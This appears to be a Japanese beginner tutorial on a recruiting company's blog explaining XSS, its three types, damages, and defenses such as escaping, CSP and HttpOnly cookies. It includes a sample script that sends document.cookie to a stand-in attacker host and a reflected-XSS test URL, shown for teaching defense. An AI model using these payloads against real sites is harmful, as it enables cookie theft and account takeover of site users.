未経験からエンジニアへ|一緒に会社を作る仲間を募集|SKサービス

プログラミング入門 約7分で読めます

XSS(クロスサイトスクリプティング)とは?仕組みと対策を解説

「XSSって何?」「クロスサイトスクリプティングって難しそう…」

Web開発を学んでいると必ず出てくるXSS(クロスサイトスクリプティング)。実はこの攻撃、Webアプリケーションの脆弱性の中で最も報告件数が多いとも言われています。

この記事では、XSSとは何か、どんな仕組みで攻撃されるのか、どう対策すればいいのかを、初心者の方にもわかりやすく解説します。

XSS(クロスサイトスクリプティング)とは?

XSSとは、Webサイトに悪意のあるスクリプト(プログラム)を埋め込み、そのサイトを訪れたユーザーのブラウザ上で実行させる攻撃手法です。

言葉の意味を確認しましょう。

用語 意味
クロスサイト サイトをまたぐ、横断するという意味
スクリプティング スクリプト(プログラム)を実行すること

「クロスサイト」という名前は、攻撃者のサイトとターゲットのサイトを横断して攻撃が行われることに由来します。ただし、現在ではより広い意味で使われており、「Webページに不正なスクリプトを埋め込む攻撃全般」を指すことが多いです。

SQLインジェクションとの違い

同じ「脆弱性を突く攻撃」でも、XSSとSQLインジェクションは攻撃の対象が異なります。

攻撃手法 攻撃対象 被害を受けるのは
SQLインジェクション データベース 主にサーバー側(企業)
XSS ブラウザ 主にユーザー側(利用者)

SQLインジェクションがデータベースを直接攻撃するのに対し、XSSはユーザーのブラウザ上で悪意のあるスクリプトを実行させる点が大きな違いです。

XSSの仕組みを図解

具体的にどのような仕組みで攻撃が成立するのか、掲示板サイトを例に見てみましょう。

攻撃の流れ

  1. 攻撃者が掲示板に悪意のあるスクリプトを含む投稿をする
  2. そのスクリプトがWebサイトに保存される
  3. 別のユーザーがその掲示板を閲覧する
  4. ユーザーのブラウザ上でスクリプトが実行される
  5. ユーザーの情報(Cookie等)が攻撃者に送信される

具体例:Cookieの窃取

例えば、攻撃者が掲示板に以下のような投稿をしたとします。

<script>
  // ユーザーのCookieを攻撃者のサーバーに送信
  new Image().src = "https://attacker.example.com/steal?cookie=" + document.cookie;
</script>

もしWebサイトにXSS対策がされていないと、この投稿を見たすべてのユーザーのCookie情報が攻撃者に送信されてしまいます。

Cookieにはセッション情報(ログイン状態を保持する情報)が含まれていることが多いため、これを悪用されるとアカウントを乗っ取られる可能性があります。

XSSの3つの種類

XSSは、攻撃の方法によって主に3つの種類に分類されます。

1. 反射型XSS(Reflected XSS)

反射型XSSは、悪意のあるスクリプトがURLに含まれ、そのURLをクリックしたユーザーが被害を受けるタイプです。

例えば、検索サイトで検索結果に検索キーワードがそのまま表示される場合、以下のようなURLを踏ませることで攻撃できます。

https://example.com/search?q=<script>alert('XSS')</script>

スクリプトがサーバーに保存されないため「反射型」と呼ばれます。攻撃者は、このURLをメールやSNSで拡散し、クリックさせることで攻撃を成立させます。

2. 格納型XSS(Stored XSS)

格納型XSSは、悪意のあるスクリプトがサーバーに保存され、そのページを見たすべてのユーザーが被害を受けるタイプです。

先ほどの掲示板の例がこれにあたります。反射型より影響範囲が大きく、被害が深刻になりやすいです。

3. DOM Based XSS

DOM Based XSSは、クライアント側(ブラウザ)のJavaScriptの処理に脆弱性がある場合に発生するタイプです。

サーバーを経由せず、ブラウザ上のJavaScriptだけで攻撃が完結するのが特徴です。近年のSPA(シングルページアプリケーション)の普及により、注目度が高まっています。

種類 スクリプトの保存 被害範囲
反射型 保存されない URLをクリックした人
格納型 サーバーに保存 ページを見たすべての人
DOM Based 保存されない JavaScript実行された人

XSSで起こる被害

XSS攻撃が成功すると、どのような被害が発生するのでしょうか。

1. Cookie・セッション情報の窃取

最も一般的な被害が、Cookieやセッション情報の窃取です。これにより、アカウントの乗っ取り(セッションハイジャック)が可能になります。

2. フィッシング詐欺

正規のWebサイト上に偽のログインフォームを表示させ、ユーザーのID・パスワードを騙し取ることができます。正規サイトのURL上で行われるため、ユーザーは気づきにくいです。

3. Webサイトの改ざん

ページの内容を書き換えて表示することができます。偽の情報を表示したり、マルウェアをダウンロードさせるリンクを仕込んだりできます。

4. マルウェア感染

悪意のあるスクリプトを通じて、マルウェアを自動的にダウンロード・実行させることも可能です。

CASUAL TALK

服装自由・オンライン対応

まずは気軽に話しませんか?

応募じゃなくてOK。「ちょっと話を聞いてみたい」だけでも大歓迎。30分のカジュアル面談で、あなたの可能性が見えてきます。

カジュアル面談を予約する

XSSの対策方法

XSSを防ぐための主な対策方法を紹介します。

1. 出力時のエスケープ処理(最重要)

最も重要な対策が、HTML出力時のエスケープ処理です。

エスケープ処理とは、HTMLで特別な意味を持つ文字を無害な文字に変換することです。

変換前 変換後 意味
< &lt; 小なり記号
> &gt; 大なり記号
& &amp; アンパサンド
&quot; ダブルクォート
&#39; シングルクォート

これにより、「<script>」という文字列は「&lt;script&gt;」として表示され、スクリプトとして実行されなくなります

PHPの例:

// ❌ 危険な書き方
echo $user_input;

// ✅ 安全な書き方
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

2. 入力値の検証

ユーザーからの入力値を検証・サニタイズすることも有効です。

  • 許可する文字種を限定する
  • HTMLタグを含む入力を拒否する
  • 入力長の制限を設ける

3. Content Security Policy(CSP)の設定

CSPは、ブラウザに対して「このページで実行していいスクリプトはこれだけ」と指定する仕組みです。HTTPヘッダーで設定します。

Content-Security-Policy: script-src 'self'

これにより、外部サイトからのスクリプト読み込みや、インラインスクリプトの実行を制限できます。

4. HttpOnly属性の付与

CookieにHttpOnly属性を付与すると、JavaScriptからCookieにアクセスできなくなります。これにより、XSSによるCookie窃取を防げます。

Set-Cookie: session_id=abc123; HttpOnly

5. フレームワークのセキュリティ機能を使う

多くのWebフレームワーク(React、Vue.js、Laravel、Railsなど)には、自動的にエスケープ処理を行う機能が備わっています。フレームワークの推奨する書き方に従うことで、XSSを防ぎやすくなります。

まとめ

この記事で解説した内容をまとめます。

項目 内容
XSSとは Webサイトに悪意のあるスクリプトを埋め込み、ユーザーのブラウザで実行させる攻撃
3つの種類 反射型、格納型、DOM Based
主な被害 Cookie窃取、フィッシング、サイト改ざん、マルウェア感染
最も重要な対策 出力時のエスケープ処理
その他の対策 入力値検証、CSP設定、HttpOnly属性、フレームワーク活用

XSSは非常にポピュラーな攻撃手法であり、Web開発者なら必ず理解しておくべき知識です。「ユーザーからの入力は信用しない」という原則を忘れず、適切なエスケープ処理を心がけましょう。

CASUAL TALK

服装自由・オンライン対応

まずは気軽に話しませんか?

応募じゃなくてOK。「ちょっと話を聞いてみたい」だけでも大歓迎。30分のカジュアル面談で、あなたの可能性が見えてきます。

カジュアル面談を予約する
この記事をシェア
CASUAL TALK CASUAL TALK CASUAL TALK CASUAL TALK CASUAL TALK CASUAL TALK

まずは気軽に話しませんか?

応募じゃなくてOK|30分|服装自由|オンライン対応

Page Top